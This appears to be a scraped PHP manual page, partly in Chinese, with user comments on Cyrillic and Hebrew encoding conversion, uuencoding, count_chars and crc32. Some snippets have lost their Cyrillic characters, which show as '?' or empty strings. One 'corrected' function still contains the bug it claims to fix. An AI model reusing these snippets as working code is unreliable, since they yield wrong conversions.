             $xchr = "&#1025";
         }
         if(ord($xchr) == 184) {
             $xchr = "&#1105";
         }
         $encode=$encode . $xchr;
   }
     return $encode;
}
webmaster at chassidus dot ru
30-Aug-2005 01:51
//I've also built the same way for hebrew to utf converting

function heb2utf($s) {

   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=224 )    {$t.=chr(215).chr($c-80); continue; }

   }
   return $t;
}

//Simple unicoder and decoder for hebrew and russian:

function unicode_hebrew($str) {
   for ($ii=0;$ii<strlen($str);$ii++) {
       $xchr=substr($str,$ii,1);
       if (ord($xchr)>223) {
           $xchr=ord($xchr)+1264;
           $xchr="&#" . $xchr . ";";
       }
       $encode=$encode . $xchr;

   }
   return $encode;

}

function unicode_russian($str) {
   for ($ii=0;$ii<strlen($str);$ii++) {
       $xchr=substr($str,$ii,1);
       if (ord($xchr)>191) {
           $xchr=ord($xchr)+848;
           $xchr="&#" . $xchr . ";";
       }
       $encode=$encode . $xchr;

   }
   return $encode;

}

function decode_unicoded_hebrew($str) {
   $decode="";

   $ar=split("&#",$str);

   foreach ($ar as $value ) {

       $in1=strpos($value,";"); //end of code

       if ($in1>0) {// unicode

           $code=substr($value,0,$in1);

           if ($code>=1456 and $code<=1514) { //hebrew
                   $code=$code-1264;
               $xchr=chr($code);
               } else { //other unicode
               $xchr="&#" . $code . ";";
             }
           $xchr=$xchr . substr($value,$in1+1);
       } else //not unicode
             $xchr = $value;

       $decode=$decode . $xchr;
   }
   return $decode;
}

function decode_unicoded_russian($str) {
   $decode="";

   $ar=split("&#",$str);

   foreach ($ar as $value ) {

       $in1=strpos($value,";"); //end of code

       if ($in1>0) {// unicode

           $code=substr($value,0,$in1);

           if ($code>=1040 and $code<=1103) {
                   $code=$code-848;
               $xchr=chr($code);
               } else {
               $xchr="&#" . $code . ";";
             }
           $xchr=$xchr . substr($value,$in1+1);
       } else
             $xchr = $value;

       $decode=$decode . $xchr;
   }
   return $decode;
}
cathody at mail dot ru
27-Jul-2005 09:41
Praising other people for their efforts to write a convenient UTF8 to Win-1251 functions may I mention that, since str_replace allows arrays as parameters, the function may be rewritten in a slightly efficient way (moreover, the array generated may be stored for performance improvement):

<?php

 function Encode ( $str, $type )
{
 // $type:
// 'w' - encodes from UTF to win
 // 'u' - encodes from win to UTF

   static $conv='';
   if (!is_array ( $conv ))
   {
       $conv=array ();
       for ( $x=128; $x <=143; $x++ )
       {
         $conv['utf'][]=chr(209).chr($x);
         $conv['win'][]=chr($x+112);
       }

       for ( $x=144; $x <=191; $x++ )
       {
               $conv['utf'][]=chr(208).chr($x);
               $conv['win'][]=chr($x+48);
       }

       $conv['utf'][]=chr(208).chr(129);
       $conv['win'][]=chr(168);
       $conv['utf'][]=chr(209).chr(145);
       $conv['win'][]=chr(184);
     }
     if ( $type=='w' )
         return str_replace ( $conv['utf'], $conv['win'], $str );
     elseif ( $type=='u' )
         return str_replace ( $conv['win'], $conv['utf'], $str );
     else
       return $str;
  }
?>
artyomch at coolfold dot com
27-Apr-2005 04:38
I needed a code for taking UTF8 encoded string from DB and printing it in Win1251 encoded HTML. The problem was that I had to print not just english & cyrillic characters, but all characters stored in UTF encoded string (in my case the DB contained english, russian & hebrew characters).
After reading carefully the UTF8 manual, I've written the following code, that converts all non-win1251 characters into html entities (&#XXXX;).

function utf8_2_win1251 ($str_src)
{
   $str_dst = "";
   $i      = 0;
   while ($i<strlen($str_src))
   {
       $code_dst  = 0;
       $code_src1 = ord($str_src[$i]);
       $i++;

       if ($code_src1<=127)
       {
           $str_dst .= chr($code_src1);
           continue;
       }
       else
       if (($code_src1 & 0xE0) == 0xC0)
       {
           $code_src2 = ord($str_src[$i++]);
           if (($code_src2 & 0xC0) != 0x80)
               continue;

           $code_dst = ( ($code_src1 & 0x1F) << 6) + ($code_src2 & 0x3F);
       }
       else
       if (($code_src1 & 0xF0) == 0xE0)
       {
           $code_src2 = ord($str_src[$i++]);
           if (($code_src2 & 0xC0) != 0x80)
               continue;

           $code_src3 = ord($str_src[$i++]);
           if (($code_src3 & 0xC0) != 0x80)
               continue;

           $code_dst = ( ($code_src1 & 0x1F) << 12) + ( ($code_src2 & 0x3F) << 6) + ($code_src3 & 0x3F);
       }
       else
       if (($code_src1 & 0xF8) == 0xF0)
       {
           $code_src2 = ord($str_src[$i++]);
           if (($code_src2 & 0xC0) != 0x80)
               continue;

           $code_src3 = ord($str_src[$i++]);
           if (($code_src3 & 0xC0) != 0x80)
               continue;

           $code_src4 = ord($str_src[$i++]);
           if (($code_src4 & 0xC0) != 0x80)
               continue;

           $code_dst = ( ($code_src1 & 0x1F) << 18) + ( ($code_src2 & 0x3F) << 12) + ( ($code_src3 & 0x3F) << 6) + ($code_src4 & 0x3F);
       }
       else
       {
           continue;
       }

       if ($code_dst)
       {
           if ($code_dst==0x401)
           {
               $str_dst .= "";
           }
           else
           if ($code_dst==0x451)
           {
               $str_dst .= "";
           }
           else
           if ( ($code_dst>=0x410) && ($code_dst<=0x44F) )
           {
               $str_dst .= chr ($code_dst-848);
           }
           else
               $str_dst .= "&#{$code_dst};";
       }
   }
   return $str_dst;
}
felix[at]tvpro.net.ru
14-Feb-2005 04:57
Check this code -- exelent to convert win-1251 to UTF-8
just one fix!!!
       if ($c==184) { $t.=chr(209).chr(145); continue; };

Anything more it is not necessary.
It is grateful to threed [at] koralsoft.com
28-Jul-2003 03:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
   if ($c==168) { $t.=chr(208).chr(129);  continue; };
   }
   return $t;
}
?>
info at newstrack dot ru
02-Feb-2005 08:50
Most useful conversion class is here http://mikolajj.republika.pl/

recommended for all
webmaster [ at ] platinumgeneration dot com
11-Jan-2005 10:36
Here's a WORKING function to convert from UTF-8 to Windows-1251, if your hosting provider does not support iconv
<?php
for ($c=0;$c<strlen($s);$c++){
   $i=ord($s[$c]);
   if ($i<=127) $out.=$s[$c];
       if ($byte2){
           $new_c2=($c1&3)*64+($i&63);
           $new_c1=($c1>>2)&5;
           $new_i=$new_c1*256+$new_c2;
       if ($new_i==1025){
           $out_i=168;
       } else {
           if ($new_i==1105){
               $out_i=184;
           } else {
               $out_i=$new_i-848;
           }
       }
       $out.=chr($out_i);
       $byte2=false;
       }
   if (($i>>5)==6) {
       $c1=$i;
       $byte2=true;
   }
}
return $out;
}
?>
standov at cgu dot kiev dot ua
08-Dec-2004 05:05
He is improved function to decode win1251->UTF8
<?php
       function win2utf($s){
           $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
           for($i=0; $i<strlen($s); $i++)    {
               $c=ord($s[$i]);
               if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
               elseif ($c>239) $t.=$c209.chr($c-112);
               elseif ($c==184) $t.=$c209.$c209;
               elseif ($c==168)    $t.=$c208.$c129;
               else $t.=$s[$i];
           }
           return $t;
       }
?>
aeon
28-Dec-2003 12:20
threed's function works great, but the replacement for the letter small io (&#1105;) needs to be changed from
<?php
if ($c==184) { $t.=chr(209).chr(209); continue; };
?>

to
<?php
if ($c==184) { $t.=chr(209).chr(145); continue; };
?>

so, the final working result should look like this:
<?php
function win3utf($s) {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
       if ($c==168) { $t.=chr(208).chr(129); continue; };
   }
   return $t;
}
?>
almi at univ dot kiev dot ua
07-Dec-2003 07:43
to convert cyrillic string to UTF-8 you can use icovn() function. It does work!

<?php
echo iconv ('CP1251','UTF-8','some cyr string');
?>

But you should copile your php '--with-iconv=[DIR]'
threed [at] koralsoft.com
28-Jul-2003 07:37
i tried all functions here to convert from cp1251 to unicode, but they don't work. i think that this work :

<?php
function win3utf($s)    {
   for($i=0, $m=strlen($s); $i<$m; $i++)    {
       $c=ord($s[$i]);
       if ($c<=127) {$t.=chr($c); continue; }
       if ($c>=192 && $c<=207)    {$t.=chr(208).chr($c-48); continue; }
       if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
       if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
       if ($c==184) { $t.=chr(209).chr(209); continue; };
   if ($c==168) { $t.=chr(208).chr(129);  continue; };
   }
   return $t;
}
?>
checat at chat dot ru
12-May-2003 07:59
See also more general
http://www.php.net/manual/ref.iconv.php iconv functions (standart in last glibc) and
http://www.php.net/manual/ref.recode.php Recode functions
german at artexpert dot ee
04-May-2003 08:13
previous bit of code (grmaxim's win_to_utf8 function) didn't work for me, so I wrote my own func to convert from win1251 to utf8:

<?php
function win2utf($s) {
   for($i=0,$m=strlen($s);$i<$m;$i++) {
       $c=ord($s[$i]);
       if ($c>127) // convert only special chars
           if    ($c==184)    $t.=chr(209).chr(209); // small io
           elseif ($c==168)    $t.=chr(208).chr(129); // capital io
           else              $t.=($c>239?chr(209):chr(208)).chr($c-48);
       else $t.=$s[$i];
   }
   return $t;
}
?>

Hope this helps
grmaxim at givc dot ru
17-Apr-2003 11:21
I hope it to you we shall help

<?php
function win_to_utf8($str){
$str = convert_cyr_string($str, 'w','i'); // w - windows-1251  to  i - iso8859-5
$str = utf8_encode ($str); //  iso8859-5  to  utf8
return $str;
}

function utf8_to_win($str){
$str = utf8_decode ($str); //  utf8 to iso8859-5
$str = convert_cyr_string($str, 'i','w'); // w - windows-1251  to  i - iso8859-5
return $str;
}
?>

If there are questions - shall help. Good luck friends!!!
pavel_bashkatov at elkogroup dot com
17-Apr-2003 08:20
To: mihailsbo at lycos dot ru
Transliteration could be done easier:

<?
function transliterate($cyrstr)
   {
       $ru = array('A', 'a',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?',
                   '?', '?');

       $en = array('A', 'a',
                   'B', 'b',
                   'V', 'v',
                   'G', 'g',
                   'D', 'd',
                   'E', 'e',
                   'E', 'e',
                   'Zh', 'zh',
                   'Z', 'z',
                   'I', 'i',
                   'J', 'j',
                   'K', 'k',
                   'L', 'l',
                   'M', 'm',
                   'N', 'n',
                   'O', 'o',
                   'P', 'p',
                   'R', 'r',
                   'S', 's',
                   'T', 't',
                   'U', 'u',
                   'F', 'f',
                   'H', 'h',
                   'C', 'c',
                   'Ch', 'ch',
                   'Sh', 'sh',
                   'Sch', 'sch',
                   '\'', '\'',
                   'Y', 'y',
                   '\'', '\'',
                   'E', 'e',
                   'Ju', 'ju',
                   'Ja', 'ja');

       return str_replace($ru, $en, $cyrstr);
   }
?>
mihailsbo at lycos dot ru
03-Mar-2003 07:15
<?php
// Here is a function that may be useful if you wish
// to convert cyrillic text (windows-1251) to english
// letters (e.g. for sending to a cell phone)

function transliterate( $text )
{
  $cyrlet = ''.
           '';

  $englet = 'ABVGD  ZIJKLMNOPRSTUFHC  `Y`E  '.
           'abvgd  zijklmnoprstufhc  `y`e  ';

  $result = '';
  for ( $i=0; $i<strlen($text); $i++ ) {
   $c1 = $text[ $i ];
   $p1 = strpos( $cyrlet, $c1 );
   if ( $p1 === FALSE ) { $result .= $c1; continue; }

   $ct = $englet[ $p1 ];
   if ( $ct != ' ' ) { $result .= $ct; continue; }
   switch ( $c1 )
   {
     case '':
       $ct = 'Je';
       break;

     case '':
       $ct = 'e';
       break;

     case '':
       $ct = 'Jo';
       break;

     case '':
       $ct = 'jo';
       break;

     case '':
       $ct = 'Zh';
       break;

     case '':
       $ct = 'zh';
       break;

     case '':
       $ct = 'Ch';
       break;

     case '':
       $ct = 'ch';
       break;

     case '':
       $ct = 'Sh';
       break;

     case '':
       $ct = 'sh';
       break;

     case '':
       $ct = 'Sch';
       break;

     case '':
       $ct = 'sch';
       break;

     case '':
       $ct = 'Ju';
       break;

     case '':
       $ct = 'ju';
       break;

     case '':
       $ct = 'Ja';
       break;

     case '':
       $ct = 'ja';
       break;

     default:
       $ct = '?';
   }
   $result .= $ct;
  }
  return $result;
}
?>

// P.S. Thanks to PHP developers for rich and convenient
// programming language!
mitya at alesh dot ru
25-Sep-2002 05:21
there is a little script that convert  utf to cp1251

<?php
function u8($win,$h,$t) {
  global $w8;
  $w8[chr($h).chr($t)] = $win;
}

$c1 = chr(208);
$c2 = chr(209);

u8("",208,185); u8("",209,134); u8("",209,131);
u8("",208,186); u8("",208,181); u8("",208,189);
u8("",208,179); u8("",209,136); u8("",209,137);
u8("",208,183); u8("",209,133); u8("",209,138);
u8("",209,132); u8("",209,139); u8("",208,178);
u8("",208,176); u8("",208,191); u8("",209,128);
u8("",208,190); u8("",208,187); u8("",208,180);
u8("",208,182); u8("",209,141); u8("",209,143);
u8("",209,135); u8("",209,129); u8("",208,188);
u8("",208,184); u8("",209,130); u8("",209,140);
u8("",208,177); u8("",209,142); u8("",208,153);
u8("",208,166); u8("",208,163); u8("",208,154);
u8("",208,149); u8("",208,157); u8("",208,147);
u8("",208,168); u8("",208,169); u8("",208,151);
u8("",208,165); u8("",208,170); u8("",208,164);
u8("",208,171); u8("",208,146); u8("",208,144);
u8("",208,159); u8("",208,160); u8("",208,158);
u8("",208,155); u8("",208,148); u8("",208,150);
u8("",208,173); u8("",208,175); u8("",208,167);
u8("",208,161); u8("",208,156); u8("",208,152);
u8("",208,162); u8("",208,172); u8("",208,145);
u8("",208,174); u8("",209,145); u8("",208,129);

function utf2win ($text) {
  global $c1,$c2,$w8;
  $u = false;
  $temp = "";
  for($i=0,$len=strlen($text); $i<$len; $i++) {
   $c = substr($text,$i,1);
   if ($u) {
     $c = $w8[$lc.$c];
     $temp .= isset($c)?$c:"?";
     $u = false;
   }
   else if ($c==$c1 || $c==$c2) {
     $u = true;
     $lc = $c;
   }
   else
     $temp .= $c;
  }
  return $temp;
}

$text = file("utf8.txt");
foreach($text as $line)
  echo "<br>".utf2win($line);

?>

how it works you can see on http://www.alesh.ru/lj
But there is another function iconv() (http://php.net/iconv) but not all hosters support iconv
spam at alesh dot ru
12-Jul-2002 11:13
Not all types. there are some sites that support UTF-8.
http://www.alesh.ru
mokvas at freemail dot org dot mk
31-Jul-2001 12:45
Not all of cyrilic characters are supported by this function. Cyrilic chars from Macedonian Alphabet like Sh, kj, dz' ,nj are not supported.
add a note add a note

后退 | 起点 | 前进
chunk_split | 上一级 | convert_uudecode


convert_uudecode

(PHP 5)

convert_uudecode -- Decode a uuencoded string

Description

string convert_uudecode ( string data )

convert_uudecode() decodes a uuencoded string.

例子 1. convert_uudecode() example

<?php
/* Can you imagine what this will print? :) */
echo convert_uudecode("+22!L;W9E(%!(4\"$`\n`");
?>

See also convert_uuencode().

add a note add a note User Contributed Notes
aidan at php dot net
29-May-2005 11:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
convert_cyr_string | 上一级 | convert_uuencode


convert_uuencode

(PHP 5)

convert_uuencode -- Uuencode a string

Description

string convert_uuencode ( string data )

convert_uuencode() encodes a string using the uuencode algorithm.

Uuencode translates all strings (including binary's ones) into printable characters, making them safe for network transmissions. Uuencoded data is about 35% larger than the original.

例子 1. convert_uuencode() example

<?php
$some_string = "test\ntext text\r\n";

echo convert_uuencode($some_string);
?>

See also convert_uudecode() and base64_encode().

add a note add a note User Contributed Notes
nmmm at nmmm dot nu
12-Apr-2006 11:17
uuencode is recognisable as email attachment in Ms Outlook, but in Outlook Express (at least in older versions) - is not.

This is shell script, but it may give you an idea how you can send attachments using uuencode:

cat file.bin | uuencode file.bin | mail someone@domain.com -s "file.bin"

uuencode mail attachments from other point of wiev are deprecated. However I use such technic for years now and it work well.
aidan at php dot net
29-May-2005 11:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Craig at frostycoolslug dot com
09-Aug-2004 10:15
This function can be useful if you wish to store files in a MySQL database, it will save any problems with obscure binary data breaking the queries.

just remember to convery-uudecode before you try to use the data again.

(A common example of something that uses this system, would be email attachments)
add a note add a note

后退 | 起点 | 前进
convert_uudecode | 上一级 | count_chars


count_chars

(PHP 4, PHP 5)

count_chars -- 返回字符串所用字符的信息

描述

mixed count_chars ( string string [, int mode] )

统计 string 中每个字节值（0..255）出现的次数，使用多种模式返回结果。可选参数 mode 默认值为 0。根据不同的 mode，count_chars() 返回下列不同的结果：

  • 0 - 以所有的每个字节值作为键名，出现次数作为值的数组。

  • 1 - 与 0 相同，但只列出出现次数大于零的字节值。

  • 2 - 与 0 相同，但只列出出现次数等于零的字节值。

  • 3 - 返回由所有使用了的字节值组成的字符串。

  • 4 - 返回由所有未使用的字节值组成的字符串。

例子 1. count_chars() 示例

<?php

$data = "Two Ts and one F.";

$result = count_chars($data, 0);

for ($i=0; $i < count($result); $i++) {
   if ($result[$i] != 0)
       echo "There were $result[$i] instance(s) of \"" , chr($i) , "\" in the string.\n";
}

?>

下边为示例输出：

There were 4 instance(s) of " " in the string.
There were 1 instance(s) of "." in the string.
There were 1 instance(s) of "F" in the string.
There were 2 instance(s) of "T" in the string.
There were 1 instance(s) of "a" in the string.
There were 1 instance(s) of "d" in the string.
There were 1 instance(s) of "e" in the string.
There were 2 instance(s) of "n" in the string.
There were 2 instance(s) of "o" in the string.
There were 1 instance(s) of "s" in the string.
There were 1 instance(s) of "w" in the string.

参见 strpos() 和 substr_count()。

add a note add a note User Contributed Notes
Eric Pecoraro
27-May-2005 10:31
<?php

// Require (n) unique characters in a string
// Modification of a function below which ads some flexibility in how many unique characters are required in a given string.

$pass = '123456' ; // true
$pass = '111222' ; // false

req_unique($pass,3);

function req_unique($string,$unique=3) {
   if ( count(count_chars($string,1)) < $unique) {
       echo 'false';
   }else{
       echo 'true';
   }
}

?>
Alex Gemmell
15-Feb-2005 02:03
Use: Great for checking for unique characters in a password.

I wanted to check that my website users, when registering a user account, chose a "valid" (not-so-easily-guessed) password.

One of the many checks was that the password must have 6 unique characters.  I was tying myself in knots with all kinds of recursive array calling when I was offered this wonderful one line solution:

function check_password($password) {

   #Have 6 unique characters
   if (count(count_chars($password, 1)) < 6) return false;

   #
   # other checks returning false as necessary
   #
   #

   return true;
}

I cannot claim this wonderful line for myself - a Mr Lynch suggested this to me.  Thanks!
seb at synchrocide dot net
17-May-2004 06:08
After much trial and error trying to create a function that finds the number of unique characters in a string I same across count_chars() - my 20+ lines of useless code were wiped for this:

<?
function unichar($string) {
$two= strtolower(str_replace(' ', '', $string));
$res = count(count_chars($two, 1));
return $res;
}

/* examples :: */

echo unichar("bob"); // 2
echo unichar("Invisibility"); //8
echo unichar("The quick brown fox slyly jumped over the lazy dog"); //26

?>

I have no idea where this could be used, but it's quite fun
mlong at mlong dot org
30-Jan-2002 08:27
// Usefulness of the two functions

<?php
 $string="aaabbc";

 // You just want to count the letter a
 $acount=substr_count($string,"a");

 // You want to count both letter a and letter b
 $counts=count_chars($string,0);
 $acount=$counts[ord("a")];
 $bcount=$counts[ord("b")];
?>
maotin at hongkong dot com
01-Feb-2001 09:04
Here are some more experiments on this relatively new and extremely handy function.

$string = 'I have never seen ANYTHING like that before! My number is "4670-9394".';

foreach(count_chars($string, 1) as $chr => $hit)
echo 'The character '.chr(34).chr($chr).chr(34).' has appeared in this string '.$hit.' times.<BR>';

#The result looks like
#The character " " has appeared in this string 11 times.

echo count_chars($string,3);
#The output is '!"-.034679AGHIMNTYabefhiklmnorstuvy'

echo strlen($string).' is not the same as '.strlen(count_chars($string, 3));

#This shows that '70 is not the same as 36'

As we can see above:

1)If you cares only about what is in the string, use count_chars($string, 1) and it will return an (associative?) array of what shows up only.

2) Either I misunderstood what the manul actually said, or it does not work the way it described: count_chars($strting, 3) actually returned a string of what characters are in the string, not a string of their byte-values (which is great because a string of numbers would be much harder to handle);

3)This is a short version of password checking: get the original string's length, then compare with the length of the string returned by count_chars($string,3).

$length_of_string = strlen($string);
$num_of_chars = strlen(count_chars($string, 3));

$diff = ($length_of_string - $num_of_chars);

if ($diff)
echo 'At least one character has been used more than once.';
else
echo 'All character have been used only once.;

Note that since $num_of_chars gives no information about the actual number of occurance, we cannot go any further by the same rationale and say when $diff =2 then 2 characters showed up twice; it might be 1 character showd up 3 times, we have no way to tell (a good tolerance level setter, though).  You have to get the array and check the values if you want to have more control.

4) Final trick: now we have a primitive way to count the number of words in a string! (or do we have a fuction for that already?)
add a note add a note

后退 | 起点 | 前进
convert_uuencode | 上一级 | crc32


crc32

(PHP 4 >= 4.0.1, PHP 5)

crc32 -- 计算一个字符串的 crc32 多项式

描述

int crc32 ( string str )

生成 str 的 32 位循环冗余校验码多项式。这通常用于检查传输的数据是否完整。

由于 PHP 的整数是带符号的，许多 crc32 校验码将返回负整数，因此你需要使用 sprintf() 或 printf() 的“%u”格式符来获取表示无符号 crc32 校验码的字符串。

示例中的第二行演示了如何使用 printf() 函数转换校验码：

例子 1. 显示 crc32 校验码

<?php
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);
?>

参见 md5() 和 sha1()。

add a note add a note User Contributed Notes
roberto at spadim dot com dot br
08-Apr-2006 12:52
MODBUS RTU, CRC16,
input-> modbus rtu string
output -> 2bytes string, in correct modbus order

function crc16($string,$length=0){

   $auchCRCHi=array(    0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
               0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
               0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
               0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41,
               0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81,
               0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0,
               0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
               0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40,
               0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
               0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
               0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
               0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
               0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
               0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
               0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
               0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
               0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
               0x40);
   $auchCRCLo=array(    0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4,
               0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E, 0x0A, 0xCA, 0xCB, 0x0B, 0xC9, 0x09,
               0x08, 0xC8, 0xD8, 0x18, 0x19, 0xD9, 0x1B, 0xDB, 0xDA, 0x1A, 0x1E, 0xDE, 0xDF, 0x1F, 0xDD,
               0x1D, 0x1C, 0xDC, 0x14, 0xD4, 0xD5, 0x15, 0xD7, 0x17, 0x16, 0xD6, 0xD2, 0x12, 0x13, 0xD3,
               0x11, 0xD1, 0xD0, 0x10, 0xF0, 0x30, 0x31, 0xF1, 0x33, 0xF3, 0xF2, 0x32, 0x36, 0xF6, 0xF7,
               0x37, 0xF5, 0x35, 0x34, 0xF4, 0x3C, 0xFC, 0xFD, 0x3D, 0xFF, 0x3F, 0x3E, 0xFE, 0xFA, 0x3A,
               0x3B, 0xFB, 0x39, 0xF9, 0xF8, 0x38, 0x28, 0xE8, 0xE9, 0x29, 0xEB, 0x2B, 0x2A, 0xEA, 0xEE,
               0x2E, 0x2F, 0xEF, 0x2D, 0xED, 0xEC, 0x2C, 0xE4, 0x24, 0x25, 0xE5, 0x27, 0xE7, 0xE6, 0x26,
               0x22, 0xE2, 0xE3, 0x23, 0xE1, 0x21, 0x20, 0xE0, 0xA0, 0x60, 0x61, 0xA1, 0x63, 0xA3, 0xA2,
               0x62, 0x66, 0xA6, 0xA7, 0x67, 0xA5, 0x65, 0x64, 0xA4, 0x6C, 0xAC, 0xAD, 0x6D, 0xAF, 0x6F,
               0x6E, 0xAE, 0xAA, 0x6A, 0x6B, 0xAB, 0x69, 0xA9, 0xA8, 0x68, 0x78, 0xB8, 0xB9, 0x79, 0xBB,
               0x7B, 0x7A, 0xBA, 0xBE, 0x7E, 0x7F, 0xBF, 0x7D, 0xBD, 0xBC, 0x7C, 0xB4, 0x74, 0x75, 0xB5,
               0x77, 0xB7, 0xB6, 0x76, 0x72, 0xB2, 0xB3, 0x73, 0xB1, 0x71, 0x70, 0xB0, 0x50, 0x90, 0x91,
               0x51, 0x93, 0x53, 0x52, 0x92, 0x96, 0x56, 0x57, 0x97, 0x55, 0x95, 0x94, 0x54, 0x9C, 0x5C,
               0x5D, 0x9D, 0x5F, 0x9F, 0x9E, 0x5E, 0x5A, 0x9A, 0x9B, 0x5B, 0x99, 0x59, 0x58, 0x98, 0x88,
               0x48, 0x49, 0x89, 0x4B, 0x8B, 0x8A, 0x4A, 0x4E, 0x8E, 0x8F, 0x4F, 0x8D, 0x4D, 0x4C, 0x8C,
               0x44, 0x84, 0x85, 0x45, 0x87, 0x47, 0x46, 0x86, 0x82, 0x42, 0x43, 0x83, 0x41, 0x81, 0x80,
               0x40);
   $length        =($length<=0?strlen($string):$length);
   $uchCRCHi    =0xFF;
   $uchCRCLo    =0xFF;
   $uIndex        =0;
   for ($i=0;$i<$length;$i++){
       $uIndex        =$uchCRCLo ^ ord(substr($string,$i,1));
       $uchCRCLo    =$uchCRCHi ^ $auchCRCHi[$uIndex];
       $uchCRCHi    =$auchCRCLo[$uIndex] ;
   }
   return(chr($uchCRCLo).chr($uchCRCHi));
}
administrador(ensaimada)sphoera(punt)com
17-Mar-2006 07:42
To obtain the adler32 hash from a string, you can use this simple function:
<?php
 function adler32($buf){
   $low = 1;
   $high = 0;
   $len = strlen($buf);
   for ($n = 0; $n < $len; $n++) {
       $low =  ($low + ord($buf[$n])) % 65521;
       $high = ($high + $low) % 65521;
   }
   $crc = $high * 65536 + $low;
   return $crc;
 }

// and for entire files:
 function file_adler32($filename){
     return adler32(file_get_contents($filename));
 }
?>

more functions at http://www.sphoera.com/
info at b1g dot de
14-Feb-2006 11:12
I think nathanzadoks at yahoo dot co dot uk's function is not very good for checksums - it does not make any sense to build a md5 hash from a crc32 hash - MD5 (32Byte) is more precise then CRC32 (4Byte), so the MD5-encoding would not make sense. As PHP returns the MD5 hash in ASCII representation already, you do not need to base64-encode it, too. So a simple

md5($content)

or

sha1($content)

would be more precise and secure.
nathanzadoks at yahoo dot co dot uk
28-Jan-2006 02:54
If you want to make checksums use my checksum function
Usage: checksum($data);

<?php
function checksum($content){
   return base64_encode(md5(crc32($content)));
}
?>
Sb.
26-Sep-2005 04:58
To have a 8 digits hexadecimal representation :

   $crc32 = sprintf('%08X', crc32($string)) ;
Bulk at bulksplace dot com
27-Aug-2005 08:46
